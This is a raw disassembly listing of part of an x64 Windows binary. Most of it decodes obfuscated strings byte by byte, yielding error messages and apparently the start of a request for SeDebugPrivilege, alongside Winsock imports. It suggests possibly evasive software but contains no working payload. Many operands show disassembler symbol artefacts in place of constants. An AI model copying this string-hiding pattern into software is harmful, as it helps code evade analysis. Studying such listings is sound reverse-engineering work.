mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a6], al
mov r9d, r14d
lea r8d, [r14 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a7], al
mov r9d, r14d
lea r8d, [r14 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a8], al
mov r9d, r14d
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a9], al
mov r9d, r14d
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8aa], al
mov r9d, r14d
lea r8d, [r14 - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8ab], al
mov r9d, r14d
lea r8d, [r14 - 0xb]
mov dl, 0x5c
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8ac], al
mov r9d, r14d
mov r8, rsi
mov dl, 0x77
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8ad], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, 0x69
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8ae], al
mov r9d, r14d
lea r8d, [r14 - 8]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8af], al
mov r9d, r14d
mov r8, rdi
mov dl, 0x76
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8b0], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, 0x65
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8b1], al
mov r9d, r14d
lea r8d, [r14 - 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8b2], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8b3], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8b4], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, 0x78
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8b5], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, 0x65
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8b6], al
xor eax, eax
mov byte [rbp + 0x8b7], al
mov edi, eax
lea r14d, [rax + 0x20]
lea r13d, [rax + 0x26]
mov r9d, reloc.WLDAP32.dll_Ordinal_30
mov r8, rdi
mov dl, byte [rbp + rdi + 0x899]
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + rdi + 0x899], al
add rdi, r15
cmp rdi, 0x1e
jb 0x1400174ca
xor eax, eax
mov byte [rbp + 0x8b7], al
lea rax, [rbp + 0x899]
mov qword [rbp + 0xc38], rax
lea rax, [rbp + 0xc30]
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0xc40]
mov qword [rbp - 0x68], rax
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp + 0xc28]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xf48]
call fcn.14002e2d0
xor ecx, ecx
call fcn.14009842c
mov rcx, rax
call fcn.140093e54
call fcn.14008ce90
or dword [rbp + 0x9994], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x8610]
call fcn.14002ef44
mov rdi, qword [rbp + 0xf50]
sub rdi, qword [rbp + 0xf48]
sar rdi, 3
lea rcx, [rbp + 0x8610]
call fcn.14002e95c
mov eax, eax
xor edx, edx
div rdi
mov qword [rbp - 0x50], rdx
xor ecx, ecx
mov dword [rsp + 0x68], ecx
mov rax, qword [rbp + 0xf50]
mov rdi, qword [rbp + 0xf48]
sub rax, rdi
sar rax, 3
test rax, rax
lea r15d, [rcx + 0x22]
je 0x14001760c
movsxd rcx, edx
mov rcx, qword [rdi + rcx*8]
call fcn.14001353c
mov dword [rbp - 0x60], eax
test eax, eax
jne 0x140017abe
mov rcx, qword [rbp + 0xf50]
mov rdi, qword [rbp + 0xf48]
sub rcx, rdi
sar rcx, 3
mov rax, qword [rbp - 0x50]
inc eax
cdqe
xor edx, edx
div rcx
mov qword [rbp - 0x50], rdx
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
cdqe
cmp rax, rcx
jb 0x1400175be
mov edi, 0xa
mov byte [rbp + 0x350], dil
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x351], al
mov r9, rbx
lea r15d, [rdi - 9]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x352], al
mov r9, rbx
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x353], al
mov r9, rbx
lea r8d, [rdi - 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x354], al
mov r9, rbx
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x355], al
mov r9, rbx
lea r8d, [rdi - 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x356], al
mov r9, rbx
lea r8d, [rdi - 4]
mov dl, WSAStartup
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x357], al
mov r9, rbx
lea r8d, [rdi - 3]
mov dl, 0x61
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x358], al
mov r9, rbx
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x359], al
mov r9, rbx
lea r8d, [rdi - 1]
mov dl, r14b
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x35a], al
mov r9, rbx
mov r8d, edi
mov dl, 0x46
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x35b], al
mov r9, rbx
lea r8d, [rdi + 1]
mov dl, 0x61
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x35c], al
mov r9, rbx
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x35d], al
mov r9, rbx
lea r13d, [rdi + 3]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x35e], al
mov r9, rbx
lea r8d, [rdi + 4]
mov dl, 0x75
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x35f], al
mov r9, rbx
lea r8d, [rdi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x360], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + 0x361], al
xor eax, eax
mov byte [rbp + 0x362], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x351]
lea rcx, [rbp + 0x350]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x351], al
add rdi, r15
cmp rdi, rbx
jb 0x1400177f1
xor edi, edi
mov byte [rbp + 0x362], dil
mov byte [rbp + 0x6f8], 0x7b
lea r15d, [rdi + 0x15]
mov r9d, r15d
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x6f9], al
mov r9d, r15d
lea r8d, [rdi + 1]
mov dl, 0x61
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x6fa], al
mov r9d, r15d
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x6fb], al
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x6fc], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x6fd], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x6fe], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x6ff], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x700], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x701], al
mov r9d, r15d
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x702], al
mov r9d, r15d
lea r8d, [rdi + 0xa]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x703], al
mov r9d, r15d
lea r8d, [rdi + 0xb]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x704], al
mov r9d, r15d
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x705], al
mov r9d, r15d
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x706], al
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, r14b
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x707], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, 0x43
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x708], al
mov r9d, r15d
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x709], al
mov r9d, r15d
mov r8, rbx
mov dl, 0x69
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x70a], al
mov r9d, r15d
lea r8d, [rdi + 0x12]
mov dl, 0x65
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x70b], al
mov r9d, r15d
lea r8d, [rdi + 0x13]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x70c], al
mov r9d, r15d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + 0x70d], al
xor eax, eax
mov byte [rbp + 0x70e], al
lea ebx, [rdi + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6f9]
lea rcx, [rbp + 0x6f8]
call fcn.14002e1e0
mov byte [rbp + rdi + 0x6f9], al
add rdi, rbx
cmp rdi, r15
jb 0x140017a6d
xor eax, eax
mov byte [rbp + 0x70e], al
xor r9d, r9d
lea r8, [rbp + 0x351]
lea rdx, [rbp + 0x6f9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x948], 0x5a
mov r9, r13
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x949], al
mov r9, r13
mov r8d, 1
mov dl, WSAStartup
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x94a], al
mov r9, r13
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x94b], al
mov r9, r13
mov r8d, 3
mov dl, 0x63
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x94c], al
mov r9, r13
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x94d], al
mov r9, r13
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x94e], al
mov r9, r13
mov r8d, 6
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x94f], al
mov r9, r13
mov r8d, 7
mov dl, 0x69
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x950], al
mov r9, r13
mov r8d, 8
mov dl, WSAGetLastError
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x951], al
mov r9, r13
mov r8d, 9
mov dl, 0x67
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x952], al
mov r9, r13
mov r8d, 0xa
mov dl, r14b
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x953], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x43
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x954], al
mov r9, r13
mov r8d, ntohs
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x955], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6d
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x956], al
mov r9, r13
mov r8d, select
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x957], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x6c
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x958], al
mov r9, r13
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x959], al
mov r9, r13
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x95a], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x95b], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_send
mov dl, Ordinal_45
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x95c], al
mov r9, r13
mov r8, rsi
mov dl, r14b
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x95d], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_setsockopt
mov dl, 0x50
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x95e], al
mov r9, r13
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, WSAStartup
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x95f], al
mov r9, r13
mov edi, reloc.WS2_32.dll_socket
mov r8d, edi
mov dl, 0x65
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x960], al
mov r9, r13
lea r8d, [rdi + 1]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x961], al
mov r9, r13
lea r8d, [rdi + 2]
mov dl, 0x61
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x962], al
mov r9, r13
lea r8d, [rdi + 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x963], al
mov r9, r13
lea r8d, [rdi + 4]
mov dl, 0x69
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x964], al
mov r9, r13
lea r8d, [rdi + 5]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x965], al
mov r9, r13
lea r8d, [rdi + 6]
mov dl, 0x67
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x966], al
mov r9, r13
lea r8d, [rdi + 7]
mov dl, r14b
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x967], al
mov r9, r13
lea r8d, [rdi + 8]
mov dl, 0x49
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x968], al
mov r9, r13
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x969], al
mov r9, r13
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x96a], al
mov r9, r13
mov r8, r15
mov dl, 0x67
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x96b], al
mov r9, r13
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x96c], al
mov r9, r13
lea r8d, [rdi + 0xd]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x96d], al
mov r9, r13
lea edx, [rdi - 0xd]
lea r8d, [rdi + 0xe]
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + 0x96e], al
xor eax, eax
mov byte [rbp + 0x96f], al
mov esi, eax
lea r12d, [rdi - 0x16]
mov r9, r13
mov r8, rsi
mov dl, byte [rbp + rsi + 0x949]
lea rcx, [rbp + 0x948]
call fcn.14002df10
mov byte [rbp + rsi + 0x949], al
add rsi, r12
cmp rsi, r13
jb 0x140017efd
xor esi, esi
mov byte [rbp + 0x96f], sil
lea rcx, [rbp + 0x949]
call fcn.140004198
call fcn.1400132a0
test al, al
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi - 4]
jne 0x14001851c
mov byte [rbp + 0x3e0], dil
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e1], al
mov r9, rbx
lea esi, [r12 - 0xf]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e2], al
mov r9, rbx
lea r8d, [r12 - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e3], al
mov r9, rbx
lea r8d, [r12 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e4], al
mov r9, rbx
lea r8d, [r12 - 0xc]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e5], al
mov r9, rbx
lea r8d, [r12 - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e6], al
mov r9, rbx
lea r8d, [r12 - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e7], al
mov r9, rbx
lea r8d, [r12 - 9]
mov dl, 0x61
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e8], al
mov r9, rbx
lea r8d, [r12 - 8]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3e9], al
mov r9, rbx
lea r8d, [r12 - 7]
mov dl, r14b
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3ea], al
mov r9, rbx
lea r8d, [r12 - 6]
mov dl, 0x46
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3eb], al
mov r9, rbx
lea r8d, [r12 - 5]
mov dl, 0x61
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3ec], al
mov r9, rbx
lea r8d, [r12 - 4]
mov dl, 0x69
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3ed], al
mov r9, rbx
lea r13d, [r12 - 3]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3ee], al
mov r9, rbx
lea r8d, [r12 - 2]
mov dl, 0x75
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3ef], al
mov r9, rbx
lea r8d, [r12 - 1]
mov dl, WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3f0], al
mov r9, rbx
mov r8d, r12d
mov dl, 0x65
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + 0x3f1], al
xor eax, eax
mov byte [rbp + 0x3f2], al
mov r15d, eax
mov r9, rbx
mov r8, r15
mov dl, byte [rbp + r15 + 0x3e1]
lea rcx, [rbp + 0x3e0]
call fcn.14002e0f0
mov byte [rbp + r15 + 0x3e1], al
add r15, rsi
cmp r15, rbx
jb 0x140018141
xor eax, eax
mov byte [rbp + 0x3f2], al
mov byte [rbp + 0x8b8], 0x77
lea r15d, [rax + 0x1f]
mov r9d, r15d
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8b9], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8ba], al
mov r9d, r15d
lea r8d, [r15 - 0x1d]
mov dl, 0x69
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8bb], al
mov r9d, r15d
lea r8d, [r15 - 0x1c]
mov dl, 0x6c
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8bc], al
mov r9d, r15d
lea r8d, [r15 - 0x1b]
mov dl, 0x65
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8bd], al
mov r9d, r15d
lea r8d, [r15 - 0x1a]
mov dl, 0x64
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8be], al
mov r9d, r15d
lea r8d, [r15 - 0x19]
mov dl, r14b
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8bf], al
mov r9d, r15d
lea r8d, [r15 - 0x18]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c0], al
mov r9d, r15d
lea r8d, [r15 - 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c1], al
mov r9d, r15d
lea r8d, [r15 - 0x16]
mov dl, r14b
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c2], al
mov r9d, r15d
lea r8d, [r15 - 0x15]
mov dl, 0x43
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c3], al
mov r9d, r15d
lea r8d, [r15 - 0x14]
mov dl, 0x6c
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c4], al
mov r9d, r15d
lea r8d, [r15 - 0x13]
mov dl, 0x65
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c5], al
mov r9d, r15d
mov r8, r13
mov dl, 0x61
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c6], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c7], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, 0x75
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c8], al
mov r9d, r15d
mov r8, r12
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8c9], al
mov r9d, r15d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8ca], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, 0x49
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8cb], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8cc], al
mov r9d, r15d
lea r8d, [r15 - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8cd], al
mov r9d, r15d
lea r8d, [r15 - 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8ce], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8cf], al
mov r9d, r15d
mov r8, rdi
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d0], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x65
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d1], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d2], al
mov r9d, r15d
lea r8d, [r15 - 5]
mov dl, r14b
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d3], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, 0x44
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d4], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, 0x61
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d5], al
mov r9d, r15d
lea r8d, [r15 - 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d6], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x61
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + 0x8d7], al
xor eax, eax
mov byte [rbp + 0x8d8], al
xor ebx, ebx
mov edi, ebx
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8b9]
lea rcx, [rbp + 0x8b8]
call fcn.14002e168
mov byte [rbp + rdi + 0x8b9], al
add rdi, rsi
cmp rdi, r15
jb 0x1400184cd
mov byte [rbp + 0x8d8], bl
xor r9d, r9d
lea r8, [rbp + 0x3e1]
lea rdx, [rbp + 0x8b9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.140093e48
int3
mov byte [rbp + 0x258], 0x79
mov r9, r12
xor r8d, r8d
mov dl, 0x53
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x259], al
mov r9, r12
mov ebx, 1
mov r8d, ebx
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x25a], al
mov r9, r12
lea r8d, [rbx + 1]
mov dl, 0x44
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x25b], al
mov r9, r12
lea r8d, [rbx + 2]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x25c], al
mov r9, r12
lea r8d, [rbx + 3]
mov dl, 0x62
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x25d], al
mov r9, r12
lea r8d, [rbx + 4]
mov dl, 0x75
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x25e], al
mov r9, r12
lea r8d, [rbx + 5]
mov dl, 0x67
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x25f], al
mov r9, r12
lea r8d, [rbx + 6]
mov dl, 0x50
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x260], al
mov r9, r12
lea r8d, [rbx + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x261], al
mov r9, r12
lea r8d, [rbx + 8]
